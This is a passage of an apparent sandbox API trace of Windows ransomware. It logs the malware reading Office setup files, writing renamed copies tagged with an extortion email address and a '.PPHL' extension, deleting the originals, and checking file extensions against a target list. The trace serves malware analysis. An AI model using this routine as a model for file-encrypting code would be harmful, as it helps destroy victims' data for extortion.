controller\\infopath.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0068.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0068.654] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.654] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0068.655] GetLastError () returned 0x0 [0068.655] ReadFile (in: hFile=0x1b0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x73c, lpOverlapped=0x0) returned 1 [0068.709] WriteFile (in: hFile=0x1f4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x740, lpOverlapped=0x0) returned 1 [0068.711] ReadFile (in: hFile=0x1b0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.711] WriteFile (in: hFile=0x1f4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0068.711] SetEndOfFile (hFile=0x1f4) returned 1 [0068.711] CloseHandle (hObject=0x1f4) returned 1 [0068.714] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.714] SetEndOfFile (hFile=0x1b0) returned 1 [0068.715] CloseHandle (hObject=0x1b0) returned 1 [0068.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0068.715] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0068.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.715] lstrlenW (lpString=".doc") returned 4 [0068.715] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.715] lstrlenW (lpString=".docx") returned 5 [0068.715] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0068.715] lstrlenW (lpString=".pdf") returned 4 [0068.715] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.715] lstrlenW (lpString=".xls") returned 4 [0068.715] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.716] lstrlenW (lpString=".xlsx") returned 5 [0068.716] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0068.716] lstrlenW (lpString=".ppt") returned 4 [0068.716] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.716] lstrlenW (lpString=".zip") returned 4 [0068.716] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.716] lstrlenW (lpString=".rar") returned 4 [0068.716] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.716] lstrlenW (lpString=".bz2") returned 4 [0068.716] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.716] lstrlenW (lpString=".7z") returned 3 [0068.716] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.716] lstrlenW (lpString=".dbf") returned 4 [0068.716] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.716] lstrlenW (lpString=".1cd") returned 4 [0068.716] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.716] lstrlenW (lpString=".jpg") returned 4 [0068.716] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.716] lstrlenW (lpString=".doc") returned 4 [0068.716] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0068.716] lstrlenW (lpString=".docx") returned 5 [0068.716] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0068.716] lstrlenW (lpString=".pdf") returned 4 [0068.716] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0068.716] lstrlenW (lpString=".xls") returned 4 [0068.716] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0068.717] lstrlenW (lpString=".xlsx") returned 5 [0068.717] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0068.717] lstrlenW (lpString=".ppt") returned 4 [0068.717] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0068.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.717] lstrlenW (lpString=".zip") returned 4 [0068.717] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0068.717] lstrlenW (lpString=".rar") returned 4 [0068.717] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0068.717] lstrlenW (lpString=".bz2") returned 4 [0068.717] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0068.717] lstrlenW (lpString=".7z") returned 3 [0068.717] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0068.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.717] lstrlenW (lpString=".dbf") returned 4 [0068.717] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0068.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.717] lstrlenW (lpString=".1cd") returned 4 [0068.717] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0068.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0068.717] lstrlenW (lpString=".jpg") returned 4 [0068.717] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0068.717] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0068.717] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0068.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0069.616] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=5557) returned 1 [0069.616] CloseHandle (hObject=0x1f0) returned 1 [0069.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0069.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0069.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0069.616] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.617] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0069.617] GetLastError () returned 0x0 [0069.617] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x15b5, lpOverlapped=0x0) returned 1 [0069.619] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0069.620] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0069.620] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xee, lpOverlapped=0x0) returned 1 [0069.620] SetEndOfFile (hFile=0x20c) returned 1 [0069.620] CloseHandle (hObject=0x20c) returned 1 [0069.623] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.623] SetEndOfFile (hFile=0x1f0) returned 1 [0069.624] CloseHandle (hObject=0x1f0) returned 1 [0069.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0069.624] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0069.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.624] lstrlenW (lpString=".doc") returned 4 [0069.625] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.625] lstrlenW (lpString=".docx") returned 5 [0069.625] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0069.625] lstrlenW (lpString=".pdf") returned 4 [0069.625] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.625] lstrlenW (lpString=".xls") returned 4 [0069.625] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.625] lstrlenW (lpString=".xlsx") returned 5 [0069.625] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0069.625] lstrlenW (lpString=".ppt") returned 4 [0069.625] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.625] lstrlenW (lpString=".zip") returned 4 [0069.625] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.625] lstrlenW (lpString=".rar") returned 4 [0069.625] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.625] lstrlenW (lpString=".bz2") returned 4 [0069.625] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.625] lstrlenW (lpString=".7z") returned 3 [0069.625] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.625] lstrlenW (lpString=".dbf") returned 4 [0069.625] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.625] lstrlenW (lpString=".1cd") returned 4 [0069.625] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.625] lstrlenW (lpString=".jpg") returned 4 [0069.625] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.626] lstrlenW (lpString=".doc") returned 4 [0069.626] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.626] lstrlenW (lpString=".docx") returned 5 [0069.626] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0069.626] lstrlenW (lpString=".pdf") returned 4 [0069.626] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.626] lstrlenW (lpString=".xls") returned 4 [0069.626] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.626] lstrlenW (lpString=".xlsx") returned 5 [0069.626] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0069.626] lstrlenW (lpString=".ppt") returned 4 [0069.626] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.626] lstrlenW (lpString=".zip") returned 4 [0069.626] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.626] lstrlenW (lpString=".rar") returned 4 [0069.626] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.626] lstrlenW (lpString=".bz2") returned 4 [0069.626] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.626] lstrlenW (lpString=".7z") returned 3 [0069.626] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.626] lstrlenW (lpString=".dbf") returned 4 [0069.626] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.626] lstrlenW (lpString=".1cd") returned 4 [0069.626] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0069.626] lstrlenW (lpString=".jpg") returned 4 [0069.626] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.627] lstrcmpiW (lpString1=".CHM", lpString2=".PPHL") returned -1 [0069.627] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0069.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0069.627] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=37689) returned 1 [0069.628] CloseHandle (hObject=0x1f0) returned 1 [0069.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0069.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0069.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0069.628] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.628] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0069.628] GetLastError () returned 0x0 [0069.628] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x9339, lpOverlapped=0x0) returned 1 [0069.631] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x9340, lpOverlapped=0x0) returned 1 [0069.632] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0069.632] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0069.633] SetEndOfFile (hFile=0x20c) returned 1 [0069.633] CloseHandle (hObject=0x20c) returned 1 [0069.634] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.634] SetEndOfFile (hFile=0x1f0) returned 1 [0069.636] CloseHandle (hObject=0x1f0) returned 1 [0069.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0069.636] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0069.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.637] lstrlenW (lpString=".doc") returned 4 [0069.637] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0069.637] lstrlenW (lpString=".docx") returned 5 [0069.637] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0069.637] lstrlenW (lpString=".pdf") returned 4 [0069.637] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0069.637] lstrlenW (lpString=".xls") returned 4 [0069.637] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0069.637] lstrlenW (lpString=".xlsx") returned 5 [0069.637] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0069.637] lstrlenW (lpString=".ppt") returned 4 [0069.637] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0069.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.637] lstrlenW (lpString=".zip") returned 4 [0069.637] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0069.637] lstrlenW (lpString=".rar") returned 4 [0069.637] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0069.637] lstrlenW (lpString=".bz2") returned 4 [0069.637] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0069.637] lstrlenW (lpString=".7z") returned 3 [0069.637] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0069.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.637] lstrlenW (lpString=".dbf") returned 4 [0069.638] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0069.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.638] lstrlenW (lpString=".1cd") returned 4 [0069.638] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0069.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.638] lstrlenW (lpString=".jpg") returned 4 [0069.638] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0069.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.638] lstrlenW (lpString=".doc") returned 4 [0069.638] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0069.638] lstrlenW (lpString=".docx") returned 5 [0069.638] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0069.638] lstrlenW (lpString=".pdf") returned 4 [0069.638] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0069.638] lstrlenW (lpString=".xls") returned 4 [0069.638] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0069.638] lstrlenW (lpString=".xlsx") returned 5 [0069.638] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0069.638] lstrlenW (lpString=".ppt") returned 4 [0069.638] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0069.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.638] lstrlenW (lpString=".zip") returned 4 [0069.638] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0069.639] lstrlenW (lpString=".rar") returned 4 [0069.639] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0069.639] lstrlenW (lpString=".bz2") returned 4 [0069.639] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0069.639] lstrlenW (lpString=".7z") returned 3 [0069.639] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0069.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.639] lstrlenW (lpString=".dbf") returned 4 [0069.639] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0069.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0069.639] lstrlenW (lpString=".1cd") returned 4 